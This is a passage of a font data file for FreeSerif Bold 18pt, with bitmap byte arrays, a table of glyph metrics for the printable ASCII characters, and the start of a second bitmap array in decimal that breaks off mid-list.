0xF0, 0x1F, 0xE0, 0x1E, 0x23, 0xFE, 0x70, 0xEE, 0x06, 0xE0, 0x2F, 0x80, 0xFF, 0x07, 0xFC, 0x3F, 0xE0, 0xFF, 0x81, 0xF8, 0x07, 0xC0, 0x7E, 0x0E, 0xBF, 0xC8, 0xF8, 0x04, 0x03, 0x01, 0xC0, 0xF0, 0x7C, 0x3F, 0xEF, 0xF9, 0xF0, 0x7C, 0x1F, 0x07, 0xC1, 0xF0, 0x7C, 0x1F, 0x07, 0xC1, 0xF0, 0x7C, 0x5F, 0x37, 0xF8, 0xFE, 0x1E, 0x00, 0xFC, 0x7F, 0x1F, 0x07, 0xC7, 0xC1, 0xF1, 0xF0, 0x7C, 0x7C, 0x1F, 0x1F, 0x07, 0xC7, 0xC1, 0xF1, 0xF0, 0x7C, 0x7C, 0x1F, 0x1F, 0x07, 0xC7, 0xC1, 0xF1, 0xF0, 0x7C, 0x7C, 0x1F, 0x1F, 0x8F, 0xC3, 0xFD, 0xFC, 0x7C, 0x60, 0xFF, 0x9F, 0xBF, 0x83, 0x0F, 0x81, 0x87, 0xE0, 0x81, 0xF0, 0x40, 0xF8, 0x40, 0x3E, 0x20, 0x1F, 0x30, 0x07, 0xD0, 0x03, 0xF8, 0x00, 0xF8, 0x00, 0x7C, 0x00, 0x3C, 0x00, 0x0E, 0x00, 0x07, 0x00, 0x01, 0x00, 0xFF, 0x3F, 0xCF, 0x7E, 0x1F, 0x06, 0x3E, 0x0F, 0x06, 0x3E, 0x0F, 0x84, 0x1F, 0x0F, 0x8C, 0x1F, 0x1F, 0x88, 0x0F, 0x17, 0xC8, 0x0F, 0x97, 0xD8, 0x0F, 0xB3, 0xD0, 0x07, 0xE3, 0xF0, 0x07, 0xE3, 0xE0, 0x03, 0xC1, 0xE0, 0x03, 0xC1, 0xE0, 0x03, 0x81, 0xC0, 0x01, 0x80, 0xC0, 0x01, 0x80, 0x80, 0xFF, 0x3F, 0x7E, 0x0C, 0x3E, 0x08, 0x3F, 0x18, 0x1F, 0x30, 0x0F, 0xE0, 0x0F, 0xC0, 0x07, 0xE0, 0x03, 0xE0, 0x03, 0xF0, 0x05, 0xF8, 0x0C, 0xF8, 0x18, 0xFC, 0x30, 0x7E, 0x70, 0x7E, 0xFC, 0xFF, 0xFF, 0x3F, 0x7E, 0x0C, 0x7C, 0x0C, 0x3E, 0x08, 0x3E, 0x08, 0x1E, 0x18, 0x1F, 0x10, 0x0F, 0x30, 0x0F, 0xA0, 0x0F, 0xA0, 0x07, 0xE0, 0x07, 0xC0, 0x03, 0xC0, 0x03, 0x80, 0x01, 0x80, 0x01, 0x80, 0x01, 0x00, 0x01, 0x00, 0x61, 0x00, 0xF2, 0x00, 0xF6, 0x00, 0xFC, 0x00, 0x78, 0x00, 0x7F, 0xFD, 0xFF, 0xF7, 0x0F, 0xD0, 0x3E, 0x01, 0xF0, 0x0F, 0xC0, 0x3E, 0x01, 0xF0, 0x0F, 0xC0, 0x3E, 0x01, 0xF8, 0x0F, 0xC1, 0x3E, 0x05, 0xF8, 0x7F, 0xFF, 0xFF, 0xFF, 0x01, 0xE0, 0xF8, 0x3E, 0x07, 0x80, 0xF0, 0x1E, 0x03, 0xC0, 0x78, 0x0F, 0x01, 0xE0, 0x3C, 0x07, 0x80, 0xF0, 0x1E, 0x07, 0x87, 0x80, 0x1E, 0x01, 0xE0, 0x3C, 0x07, 0x80, 0xF0, 0x1E, 0x03, 0xC0, 0x78, 0x0F, 0x01, 0xE0, 0x3C, 0x07, 0x80, 0xF8, 0x0F, 0x80, 0x78, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0xF0, 0x0F, 0x80, 0xF0, 0x0F, 0x01, 0xE0, 0x3C, 0x07, 0x80, 0xF0, 0x1E, 0x03, 0xC0, 0x78, 0x0F, 0x01, 0xE0, 0x3C, 0x03, 0xC0, 0x0F, 0x0F, 0x03, 0xC0, 0x78, 0x0F, 0x01, 0xE0, 0x3C, 0x07, 0x80, 0xF0, 0x1E, 0x03, 0xC0, 0x78, 0x0F, 0x03, 0xE0, 0xF8, 0x3C, 0x00, 0x3E, 0x00, 0x7F, 0xC6, 0xFF, 0xFF, 0x61, 0xFE, 0x00, 0x7C ] FreeSerifBold18pt7bGlyphs = [ [ 0, 0, 0, 9, 0, 1 ], # 0x20 ' ' [ 0, 6, 24, 12, 3, -23 ], # 0x21 '!' [ 18, 13, 10, 19, 3, -23 ], # 0x22 '"' [ 35, 18, 24, 17, 0, -23 ], # 0x23 '#' [ 89, 15, 28, 17, 1, -25 ], # 0x24 '$' [ 142, 27, 24, 35, 4, -23 ], # 0x25 '%' [ 223, 26, 25, 29, 2, -23 ], # 0x26 '&' [ 305, 4, 10, 10, 3, -23 ], # 0x27 ''' [ 310, 9, 30, 12, 2, -23 ], # 0x28 '(' [ 344, 9, 30, 12, 1, -23 ], # 0x29 ')' [ 378, 14, 15, 18, 2, -23 ], # 0x2A '#' [ 405, 19, 19, 24, 2, -17 ], # 0x2B '+' [ 451, 6, 12, 9, 1, -5 ], # 0x2C ',' [ 460, 8, 4, 12, 2, -9 ], # 0x2D '-' [ 464, 6, 6, 9, 1, -5 ], # 0x2E '.' [ 469, 11, 25, 10, -1, -23 ], # 0x2F '/' [ 504, 16, 24, 18, 1, -23 ], # 0x30 '0' [ 552, 12, 24, 18, 3, -23 ], # 0x31 '1' [ 588, 16, 24, 17, 1, -23 ], # 0x32 '2' [ 636, 16, 24, 18, 0, -23 ], # 0x33 '3' [ 684, 15, 24, 18, 1, -23 ], # 0x34 '4' [ 729, 15, 24, 18, 1, -23 ], # 0x35 '5' [ 774, 16, 24, 18, 1, -23 ], # 0x36 '6' [ 822, 16, 24, 17, 1, -23 ], # 0x37 '7' [ 870, 16, 24, 17, 1, -23 ], # 0x38 '8' [ 918, 16, 24, 18, 1, -23 ], # 0x39 '9' [ 966, 6, 16, 12, 3, -15 ], # 0x3A ':' [ 978, 7, 22, 12, 2, -15 ], # 0x3B '' [ 998, 19, 20, 24, 2, -18 ], # 0x3C '<' [ 1046, 19, 12, 24, 2, -14 ], # 0x3D '=' [ 1075, 19, 20, 24, 3, -18 ], # 0x3E '>' [ 1123, 14, 24, 18, 2, -23 ], # 0x3F '?' [ 1165, 24, 25, 33, 4, -23 ], # 0x40 '@' [ 1240, 24, 24, 25, 1, -23 ], # 0x41 'A' [ 1312, 21, 24, 23, 1, -23 ], # 0x42 'B' [ 1375, 23, 25, 25, 1, -23 ], # 0x43 'C' [ 1447, 23, 24, 26, 1, -23 ], # 0x44 'D' [ 1516, 21, 24, 23, 2, -23 ], # 0x45 'E' [ 1579, 19, 24, 22, 2, -23 ], # 0x46 'F' [ 1636, 25, 25, 27, 1, -23 ], # 0x47 'G' [ 1715, 24, 24, 27, 2, -23 ], # 0x48 'H' [ 1787, 11, 24, 14, 2, -23 ], # 0x49 'I' [ 1820, 16, 27, 18, 0, -23 ], # 0x4A 'J' [ 1874, 25, 24, 27, 2, -23 ], # 0x4B 'K' [ 1949, 21, 24, 23, 2, -23 ], # 0x4C 'L' [ 2012, 31, 24, 33, 1, -23 ], # 0x4D 'M' [ 2105, 23, 24, 25, 1, -23 ], # 0x4E 'N' [ 2174, 25, 25, 27, 1, -23 ], # 0x4F 'O' [ 2253, 19, 24, 22, 2, -23 ], # 0x50 'P' [ 2310, 25, 30, 27, 1, -23 ], # 0x51 'Q' [ 2404, 23, 24, 25, 2, -23 ], # 0x52 'R' [ 2473, 16, 25, 20, 2, -23 ], # 0x53 'S' [ 2523, 21, 24, 23, 1, -23 ], # 0x54 'T' [ 2586, 22, 25, 25, 2, -23 ], # 0x55 'U' [ 2655, 24, 24, 25, 0, -23 ], # 0x56 'V' [ 2727, 34, 25, 34, 0, -23 ], # 0x57 'W' [ 2834, 24, 24, 25, 1, -23 ], # 0x58 'X' [ 2906, 24, 24, 25, 1, -23 ], # 0x59 'Y' [ 2978, 21, 24, 23, 1, -23 ], # 0x5A 'Z' [ 3041, 8, 29, 12, 2, -23 ], # 0x5B '[' [ 3070, 11, 25, 10, -1, -23 ], # 0x5C '\' [ 3105, 8, 29, 12, 2, -23 ], # 0x5D ']' [ 3134, 15, 13, 20, 3, -23 ], # 0x5E '^' [ 3159, 18, 3, 17, 0, 3 ], # 0x5F '_' [ 3166, 8, 6, 12, 0, -23 ], # 0x60 '`' [ 3172, 16, 16, 18, 1, -15 ], # 0x61 'a' [ 3204, 18, 24, 19, 1, -23 ], # 0x62 'b' [ 3258, 14, 16, 15, 1, -15 ], # 0x63 'c' [ 3286, 18, 24, 19, 1, -23 ], # 0x64 'd' [ 3340, 14, 16, 16, 1, -15 ], # 0x65 'e' [ 3368, 11, 24, 14, 2, -23 ], # 0x66 'f' [ 3401, 17, 23, 17, 1, -15 ], # 0x67 'g' [ 3450, 17, 24, 19, 1, -23 ], # 0x68 'h' [ 3501, 7, 24, 10, 2, -23 ], # 0x69 'i' [ 3522, 11, 31, 14, 0, -23 ], # 0x6A 'j' [ 3565, 18, 24, 19, 1, -23 ], # 0x6B 'k' [ 3619, 7, 24, 10, 1, -23 ], # 0x6C 'l' [ 3640, 27, 16, 29, 1, -15 ], # 0x6D 'm' [ 3694, 17, 16, 19, 1, -15 ], # 0x6E 'n' [ 3728, 17, 16, 18, 1, -15 ], # 0x6F 'o' [ 3762, 19, 23, 19, 0, -15 ], # 0x70 'p' [ 3817, 17, 23, 19, 1, -15 ], # 0x71 'q' [ 3866, 13, 16, 15, 1, -15 ], # 0x72 'r' [ 3892, 12, 16, 14, 1, -15 ], # 0x73 's' [ 3916, 10, 21, 12, 1, -20 ], # 0x74 't' [ 3943, 18, 16, 20, 1, -15 ], # 0x75 'u' [ 3979, 17, 16, 17, 0, -15 ], # 0x76 'v' [ 4013, 24, 16, 25, 0, -15 ], # 0x77 'w' [ 4061, 16, 16, 18, 1, -15 ], # 0x78 'x' [ 4093, 16, 23, 17, 0, -15 ], # 0x79 'y' [ 4139, 14, 16, 16, 0, -15 ], # 0x7A 'z' [ 4167, 11, 31, 14, 1, -24 ], # 0x7B '[' [ 4210, 3, 25, 8, 2, -23 ], # 0x7C '|' [ 4220, 11, 31, 14, 3, -24 ], # 0x7D ']' [ 4263, 16, 5, 18, 1, -11 ] ] # 0x7E '~' FreeSerifBold18pt7b = [ FreeSerifBold18pt7bBitmaps, FreeSerifBold18pt7bGlyphs, 0x20, 0x7E, 42 ] # Approx. 4945 bytes
free_serif_bold18pt7b_bitmaps = [123, 239, 255, 255, 247, 158, 113, 199, 12, 32, 130, 0, 0, 7, 62, 255, 255, 220, 96, 55, 131, 252, 31, 224, 255, 7, 184, 61, 192, 204, 6, 32, 49, 1, 128, 3, 142, 0, 195, 128, 48, 224, 28, 56, 7, 14, 1, 195, 135, 255, 253, 255, 255, 127, 255, 193, 135, 0, 225, 192, 56, 112, 14, 28, 3, 134, 15, 255, 243, 255, 252, 255, 255, 7, 14, 1, 195, 128, 112, 224, 28, 48, 7, 12, 1, 135, 0, 97, 192, 2, 0, 4, 0, 8, 0, 255, 3, 39, 140, 71, 56, 134, 113, 12, 242, 9, 244, 3, 248, 3, 248, 7, 252, 3, 252, 3, 254, 1, 254, 3, 252, 4, 252, 8, 250, 16, 244, 33, 236, 67, 216, 143, 61, 60, 63, 240, 31, 0, 8, 0, 16, 0, 3, 192, 24, 1, 254, 15, 0, 124, 255, 192, 31, 15, 144, 7, 193, 6, 0, 240, 33, 128, 62, 4, 48, 7, 129, 140, 0, 240, 33, 128, 30, 12, 96, 3, 193, 24, 30, 60, 227, 15, 231, 248, 195, 230, 60, 24, 248, 64, 6, 62, 8, 1, 135, 129, 0, 49, 240, 32, 12, 62, 4, 1, 135, 129, 0, 96, 240, 96, 24, 30, 8, 3, 3, 199, 0, 192, 63, 192, 24, 3, 224, 0, 126, 0, 0, 127, 224, 0, 56, 248, 0, 30, 31, 0, 7, 131, 192, 1, 240, 240, 0, 124, 56, 0, 31, 156, 0, 3, 252, 0, 0, 254, 15, 240, 63, 128, 240, 31, 240, 24, 28, 254, 12, 14, 31, 195, 7, 135, 241, 129, 224, 254, 64, 248, 31, 240, 63, 7, 248, 15, 192, 254, 3, 248, 31, 192, 254, 7, 248, 159, 227, 255, 231, 255, 159, 240, 255, 195, 248, 15, 128, 60, 0, 111, 255, 255, 102, 102, 0, 129, 129, 129, 129, 128, 192, 224, 112, 112, 56, 60, 30, 15, 7, 131, 193, 224, 240, 120, 60, 14, 7, 3, 128, 224, 112, 24, 6, 1, 0, 64, 16, 4, 128, 48, 12, 3, 0, 192, 96, 56, 28, 7, 3, 129, 192, 240, 120, 60, 30, 15, 7, 131, 193, 224, 224, 112, 56, 56, 28, 12, 12, 6, 4, 4, 4, 0, 3, 0, 30, 0, 120, 29, 230, 251, 61, 237, 243, 255, 1, 192, 127, 243, 237, 255, 51, 217, 230, 7, 128, 30, 0, 48, 0, 0, 224, 0, 28, 0, 3, 128, 0, 112, 0, 14, 0, 1, 192, 0, 56, 0, 7, 0, 255, 255, 255, 255, 255, 255, 255, 128, 112, 0, 14, 0, 1, 192, 0, 56, 0, 7, 0, 0, 224, 0, 28, 0, 3, 128, 0, 115, 239, 255, 253, 240, 194, 24, 198, 48, 255, 255, 255, 255, 123, 255, 255, 253, 224, 0, 224, 60, 7, 0, 224, 28, 7, 0, 224, 28, 7, 0, 224, 28, 7, 0, 224, 28, 7, 0, 224, 28, 7, 0, 224, 28, 7, 0, 224, 28, 7, 0, 224, 0, 3, 192, 14, 112, 30, 120, 60, 60, 60, 60, 124, 62, 124, 62, 124, 62, 252, 63, 252, 63, 252, 63, 252, 63, 252, 63, 252, 63, 252, 63, 252, 63, 252, 62, 124, 62, 124, 62, 60, 60, 60, 60, 30, 120, 14, 112, 3, 192, 0, 192, 60, 15, 195, 252, 79, 192, 252, 15, 192, 252, 15, 192, 252, 15, 192, 252, 15, 192, 252, 15, 192, 252, 15, 192, 252, 15, 192, 252, 15, 192, 252, 31, 239, 255, 3, 224, 15, 248, 31, 252, 63, 252, 48, 254, 96, 126, 64, 62, 0, 62, 0, 62, 0, 60, 0, 60, 0, 120, 0, 112, 0, 224, 0, 192, 1, 128, 3, 0, 6, 1, 12, 3, 31, 255, 31, 255, 63, 254, 127, 254, 255, 254, 3, 240, 15, 248, 63, 252, 33, 254, 64, 254, 0, 126, 0, 126, 0, 124, 0, 120, 0, 240, 1, 252, 3, 254, 0, 126, 0, 63, 0, 31, 0, 15, 0, 15, 0, 15, 0, 14, 112, 14, 252, 28, 254, 56, 127, 224, 63, 128, 0, 56, 0, 240, 3, 224, 7, 192, 31, 128, 95, 0, 190, 2, 124, 8, 248, 49, 240, 67, 225, 7, 196, 15, 136, 31, 32, 62, 127, 255, 255, 255, 255, 255, 255, 248, 7, 192, 15, 128, 31, 0, 62, 0, 124, 15, 254, 31, 248, 127, 240, 255, 225, 128, 3, 0, 12, 0, 24, 0, 63, 128, 255, 193, 255, 195, 255, 195, 255, 128, 63, 128, 15, 0, 14, 0, 28, 0, 24, 0, 55, 128, 79, 129, 159, 198, 63, 248, 31, 128, 0, 7, 0, 124, 1, 240, 3, 192, 15, 128, 31, 0, 31, 0, 62, 0, 126, 0, 127, 240, 127, 252, 252, 126, 252, 126, 252, 63, 252, 63, 252, 63, 252, 63, 252, 63, 124, 63, 124, 62, 60, 62, 62, 60, 30, 120, 7, 224, 127, 255, 127, 254, 127, 254, 255, 254, 255, 252, 192, 28, 128, 24, 128, 56, 0, 56, 0, 112, 0, 112, 0, 112, 0, 224, 0, 224, 0, 224, 1, 192, 1, 192, 1, 192, 3, 128, 3, 128, 7, 128, 7, 0, 7, 0, 15, 0, 15, 224, 56, 120, 112, 60, 240, 30, 240, 30, 248, 30, 248, 30, 254, 60, 127, 176, 127, 224, 63, 240, 15, 248, 31, 252, 57, 254, 112, 255, 240, 63, 240, 63, 240, 31, 240, 31, 240, 30, 120, 62, 124, 124, 63, 248, 15, 224, 7, 224, 30, 120, 60, 124, 124, 60, 124, 62, 252, 62, 252, 63, 252, 63, 252, 63, 252, 63, 252, 63, 126, 63, 126, 63, 63, 254, 15, 254, 0, 126, 0, 124, 0, 248, 0, 248, 1, 240, 3, 192, 15, 128, 62, 0, 224, 0, 123, 255, 255, 253, 224, 0, 0, 7, 191, 255, 255, 222, 57, 251, 247, 239, 199, 0, 0, 0, 1, 231, 239, 255, 255, 191, 6, 8, 48, 194, 24, 0, 0, 0, 0, 0, 12, 0, 15, 128, 7, 240, 3, 252, 1, 254, 0, 254, 0, 127, 0, 63, 128, 31, 192, 3, 248, 0, 31, 192, 0, 254, 0, 7, 240, 0, 63, 128, 1, 254, 0, 15, 224, 0, 124, 0, 1, 128, 0, 0, 255, 255, 255, 255, 255, 255, 255, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 31, 255, 255, 255, 255, 255, 255, 240, 0, 0, 24, 0, 3, 224, 0, 127, 0, 7, 248, 0, 31, 192, 0, 254, 0, 7, 240, 0, 63, 128, 1, 252, 0, 63, 128, 31, 192, 15, 224, 7, 240, 7, 248, 3, 252, 0, 254, 0, 31, 0, 3, 0, 0, 0, 0, 0, 15, 192, 255, 199, 31, 184, 62, 240, 255, 195, 255, 15, 216, 63, 0, 248, 7, 192, 30, 0, 96, 3, 0, 8, 0, 32, 0, 128, 0, 0, 0, 0, 112, 3, 224, 31, 128, 126, 1, 248, 1, 192, 0, 127, 0, 1, 255, 224, 7, 192, 240, 15, 0, 56, 30, 0, 12, 60, 7, 6, 56, 31, 114, 120, 60, 243, 120, 120, 225, 240, 112, 225, 240, 240, 225, 240, 224, 193, 241, 225, 193, 241, 193, 193, 241, 195, 130, 241, 195, 134, 113, 199, 140, 121, 251, 248, 120, 241, 240, 60, 0, 0, 30, 0, 0, 15, 0, 0, 7, 192, 120, 3, 255, 224, 0, 127, 128, 0, 16, 0, 0, 56, 0, 0, 56, 0, 0, 120, 0, 0, 124, 0, 0, 124, 0, 0, 254, 0, 0, 254, 0, 1, 191, 0, 1, 191, 0, 1, 31, 0, 3, 31, 128, 2, 31, 128, 6, 15, 192, 6, 15, 192, 4, 7, 224, 15, 255, 224, 15, 255, 224, 24, 3, 240, 24, 3, 240, 48, 1, 248, 48, 1, 248, 112, 1, 252, 254, 15, 255, 255, 254, 7, 255, 254, 15, 225, 248, 63, 7, 193, 248, 63, 15, 193, 248, 126, 15, 195, 240, 126, 31, 135, 224, 252, 124, 7, 255, 0, 63, 255, 1, 248, 254, 15, 193, 248, 126, 15, 195, 240, 63, 31, 129, 248, 252, 15, 199, 224, 126, 63, 3, 241, 248, 63, 15, 195, 240, 255, 255, 31, 255, 192, 0, 126, 4, 7, 255, 24, 31, 7, 240, 124, 3, 225, 240, 3, 199, 192, 3, 159, 128, 3, 63, 0, 6, 124, 0, 5, 248, 0, 3, 240, 0, 7, 224, 0, 15, 192, 0, 31, 128, 0, 63, 0, 0, 126, 0, 0, 252, 0, 0, 252, 0, 1, 248, 0, 1, 240, 0, 35, 240, 0, 195, 240, 7, 3, 240, 60, 1, 255, 224, 0, 255, 0, 255, 254, 0, 127, 255, 0, 126, 31, 128, 252, 31, 129, 248, 31, 131, 240, 31, 7, 224, 63, 15, 192, 126, 31, 128, 126, 63, 0, 252, 126, 1, 248, 252, 3, 241, 248, 7, 227, 240, 15, 199, 224, 31, 143, 192, 63, 31, 128, 124, 63, 1, 248, 126, 3, 224, 252, 15, 129, 248, 31, 3, 240, 252, 15, 255, 224, 127, 255, 0, 255, 255, 227, 255, 255, 15, 192, 120, 126, 1, 195, 240, 6, 31, 128, 16, 252, 16, 135, 224, 128, 63, 12, 1, 248, 224, 15, 255, 0, 127, 248, 3, 241, 192, 31, 134, 0, 252, 16, 7, 224, 128, 63, 0, 9, 248, 0, 207, 192, 12, 126, 0, 99, 240, 15, 31, 129, 251, 255, 255, 223, 255, 252, 255, 255, 239, 255, 252, 252, 15, 159, 128, 115, 240, 6, 126, 0, 79, 193, 9, 248, 32, 63, 12, 7, 227, 128, 255, 240, 31, 254, 3, 241, 192, 126, 24, 15, 193, 1, 248, 32, 63, 0, 7, 224, 0, 252, 0, 31, 128, 3, 240, 0, 126, 0, 31, 224, 7, 255, 0, 0, 126, 2, 1, 255, 227, 1, 240, 63, 129, 240, 7, 193, 240, 1, 225, 240, 0, 113, 248, 0, 24, 252, 0, 12, 124, 0, 2, 126, 0, 0, 63, 0, 0, 31, 128, 0, 15, 192, 0, 7, 224, 0, 3, 240, 15, 255, 248, 1, 254, 124, 0, 126, 63, 0, 63, 31, 128, 31, 135, 192, 15, 193, 240, 7, 224, 252, 3, 240, 31, 131, 240, 7, 255, 224, 0, 127, 128, 0, 255, 195, 255, 127, 129, 254, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 255, 252, 63, 255, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 63, 0, 252, 127, 129, 254, 255, 195, 255, 255, 239, 240, 252, 31, 131, 240, 126, 15, 193, 248, 63, 7, 224, 252, 31, 131, 240, 126, 15, 193, 248, 63, 7, 224, 252, 31, 131, 240, 126, 31, 231, 255, 7, 255, 1, 254, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 0, 252, 112, 252, 248, 252, 248, 248, 240, 248, 113, 240, 127, 224, 31, 128, 255, 195, 255, 63, 192, 62, 15, 192, 28, 7, 224, 24, 3, 240, 24, 1, 248, 24, 0, 252, 24, 0, 126, 24, 0, 63, 24, 0, 31, 156, 0, 15, 223, 0, 7, 255, 192, 3, 255, 240, 1, 249, 248, 0, 252, 254, 0, 126, 63, 128, 63, 15, 224, 31, 131, 248, 15, 192, 252, 7, 224, 127, 3, 240, 31, 193, 248, 7, 241, 254, 3, 253, 255, 143, 255, 255, 224, 3, 252, 0, 15, 192, 0, 126, 0, 3, 240, 0, 31, 128, 0, 252, 0, 7, 224, 0, 63, 0, 1, 248, 0, 15, 192, 0, 126, 0, 3, 240, 0, 31, 128, 0, 252, 0, 7, 224, 1, 63, 0, 25, 248, 0, 207, 192, 12, 126, 0, 99, 240, 15, 31, 129, 251, 255, 255, 223, 255, 254, 255, 128, 3, 254, 127, 0, 7, 248, 126, 0, 15, 224, 254, 0, 63, 193, 124, 0, 95, 130, 252, 1, 191, 5, 248, 2, 126, 9, 248, 12, 252, 19, 240, 17, 248, 35, 224, 35, 240, 71, 224, 199, 224, 135, 193, 15, 193, 15, 198, 31, 130, 15, 136, 63, 4, 31, 176, 126, 8, 63, 96, 252, 16, 62, 129, 248, 32, 127, 3, 240, 64, 124, 7, 224, 128, 248, 15, 193, 0, 224, 31, 130, 1, 192, 63, 14, 3, 128, 255, 127, 130, 3, 255, 254, 0, 254, 254, 0, 112, 254, 0, 64, 254, 0, 129, 252, 1, 3, 252, 2, 5, 252, 4, 9, 252, 8, 17, 252, 16, 35, 248, 32, 67, 248, 64, 131, 248, 129, 3, 249, 2, 3, 250, 4, 3, 244, 8, 7, 248, 16, 7, 240, 32, 7, 224, 64, 7, 192, 128, 7, 129, 0, 15, 2, 0, 14, 14, 0, 12, 127, 0, 8, 0, 127, 0, 1, 255, 240, 1, 240, 124, 1, 240, 31, 1, 240, 7, 193, 240, 1, 241, 248, 0, 252, 252, 0, 126, 124, 0, 31, 126, 0, 15, 255, 0, 7, 255, 128, 3, 255, 192, 1, 255, 224, 0, 255, 240, 0, 127, 248, 0, 63, 124, 0, 31, 62, 0, 31, 159, 128, 15, 199, 192, 7, 193, 240, 7, 192, 252, 7, 224, 63, 7, 192, 7, 255, 192, 0, 127, 0, 0, 255, 252, 15, 255, 224, 252, 126, 31, 135, 227, 240, 126, 126, 15, 207, 193, 249, 248, 63, 63, 7, 231, 224, 252, 252, 63, 31, 143, 195, 255, 240, 127, 248, 15, 192, 1, 248, 0, 63, 0, 7, 224, 0, 252, 0, 31, 128, 3, 240, 0, 126, 0, 31, 224, 7, 254, 0, 0, 127, 0, 1, 255, 240, 1, 240, 124, 1, 240, 31, 1, 240, 7, 193, 240, 1, 241, 248, 0, 252, 252, 0, 126, 124, 0, 31, 126, 0, 15, 255, 0, 7, 255, 128, 3, 255, 192, 1, 255, 224, 0, 255, 240, 0, 127, 248, 0, 63, 124, 0, 31, 62, 0, 15, 159, 128, 15, 199, 192, 7, 193, 240, 7, 192, 120, 3, 192, 30, 7, 192, 3, 255, 128, 0, 127, 0, 0, 63, 192, 0, 15, 240, 0, 3, 254, 0, 0, 255, 248, 0, 15, 224, 255, 254, 0, 255, 255, 0, 252, 63, 1, 248, 63, 3, 240, 63, 7, 224, 126, 15, 192, 252, 31, 129, 248, 63, 3, 240, 126, 7, 192, 252, 31, 129, 248, 126, 3, 255, 240, 7, 255, 192, 15, 223, 192, 31, 159, 128, 63, 31, 128, 126, 63, 128, 252, 63, 129, 248, 63, 3, 240, 127, 7, 224, 127, 31, 224, 127, 127, 224, 255, 7, 194, 31, 242, 60, 62, 112, 14, 240, 6, 240, 6, 240, 2, 248, 0, 254, 0, 255, 128, 127, 224, 63, 248, 31, 252, 15, 254, 3, 254, 0, 255, 0, 63, 128, 31, 192, 15, 192, 15, 224, 14, 240, 30, 248, 60, 159, 248, 135, 224, 255, 255, 255, 255, 255, 252, 126, 63, 131, 240, 124, 31, 129, 192, 252, 6, 7, 224, 32, 63, 0, 1, 248, 0, 15, 192, 0, 126, 0, 3, 240, 0, 31, 128, 0, 252, 0, 7, 224, 0, 63, 0, 1, 248, 0, 15, 192, 0, 126, 0, 3, 240, 0, 31, 128, 0, 252, 0, 15, 240, 1, 255, 224, 255, 193, 253, 254, 1, 195, 240, 2, 15, 192, 8, 63, 0, 32, 252, 0, 131, 240, 2, 15, 192, 8, 63, 0, 32, 252, 0, 131, 240, 2, 15, 192, 8, 63, 0, 32, 252, 0, 131, 240, 2, 15, 192, 8, 63, 0, 32, 252, 0, 131, 240, 2, 15, 192, 24, 31, 128, 64, 126, 3, 0, 252, 24, 1, 255, 192, 0, 252, 0, 255, 240, 127, 63, 192, 30, 31, 128, 12, 31, 128, 8, 15, 192, 24, 15, 192, 24, 7, 224, 16, 7, 224, 48, 7, 224, 32, 3, 240, 96, 3, 240, 96, 1, 248, 64, 1, 248, 192, 0, 248, 128, 0, 252, 128, 0, 253, 128, 0, 127, 0, 0, 127, 0, 0, 62, 0, 0, 62, 0, 0, 30, 0, 0, 28, 0, 0, 28, 0, 0, 12, 0, 255, 231, 255, 15, 207, 224, 127, 0, 225, 248, 15, 192, 48, 126, 3, 240, 12, 31, 128, 124, 2, 3, 224, 31, 129, 128, 252, 7, 224, 96, 63, 3, 248, 16, 7, 192, 191, 12, 1, 248, 47, 195, 0, 126, 25, 240, 128, 15, 132, 124, 96, 3, 243, 15, 152, 0, 252, 195, 228, 0, 31, 32, 251, 0, 7, 248, 31, 192, 0, 252, 7, 224, 0, 63, 1, 248, 0, 15, 192, 62, 0, 1, 224, 15, 0, 0, 120, 3, 192, 0, 28, 0, 112, 0, 3, 0, 24, 0, 0, 192, 6, 0, 0, 32, 0, 128, 0, 255, 243, 254, 127, 128, 120, 63, 128, 112, 31, 192, 96, 15, 192, 192, 15, 225, 128, 7, 241, 0, 3, 243, 0, 3, 254, 0, 1, 252, 0, 0, 252, 0, 0, 254, 0, 0, 126, 0, 0, 127, 0, 0, 255, 128, 0, 159, 128, 1, 143, 192, 3, 15, 224, 6, 7, 224, 6, 7, 240, 12, 3, 248, 28, 3, 248, 60, 3, 252, 255, 15, 255, 255, 240, 255, 127, 128, 30, 63, 128, 28, 31, 128, 24, 31, 192, 16, 15, 192, 48, 7, 224, 32, 7, 224, 96, 3, 240, 192, 3, 240, 128, 1, 249, 128, 1, 255, 0, 0, 255, 0, 0, 254, 0, 0, 126, 0, 0, 126, 0, 0, 126, 0, 0, 126, 0, 0, 126, 0, 0, 126, 0, 0, 126, 0, 0, 126, 0, 0, 255, 0, 1, 255, 128, 127, 255, 243, 255, 255, 159, 1, 248, 224, 31, 134, 1, 252, 32, 15, 193, 0, 252, 0, 7, 224, 0, 126, 0, 7, 224, 0, 63, 0, 3, 240, 0, 63, 128, 1, 248, 0, 31, 128, 1, 252, 1, 15, 192, 24, 252, 0, 199, 224, 6, 126, 0, 119, 240, 7, 63, 0, 251, 255, 255, 223, 255, 254, 255, 255, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 240, 255, 255, 224, 30, 1, 192, 56, 7, 128, 112, 14, 1, 192, 28, 3, 128, 112, 7, 0, 224, 28, 1, 192, 56, 7, 0, 112, 14, 1, 192, 28, 3, 128, 112, 15, 0, 224, 255, 255, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 255, 255, 3, 128, 15, 0, 31, 0, 126, 0, 238, 3, 156, 7, 28, 28, 56, 56, 56, 224, 113, 192, 119, 0, 238, 0, 224, 255, 255, 255, 255, 255, 255, 252, 224, 240, 120, 60, 14, 7, 15, 224, 63, 240, 120, 248, 120, 124, 120, 124, 56, 124, 0, 124, 3, 252, 30, 124, 124, 124, 252, 124, 252, 124, 252, 252, 255, 253, 127, 127, 60, 60, 252, 0, 31, 0, 7, 192, 1, 240, 0, 124, 0, 31, 0, 7, 192, 1, 240, 0, 124, 248, 31, 127, 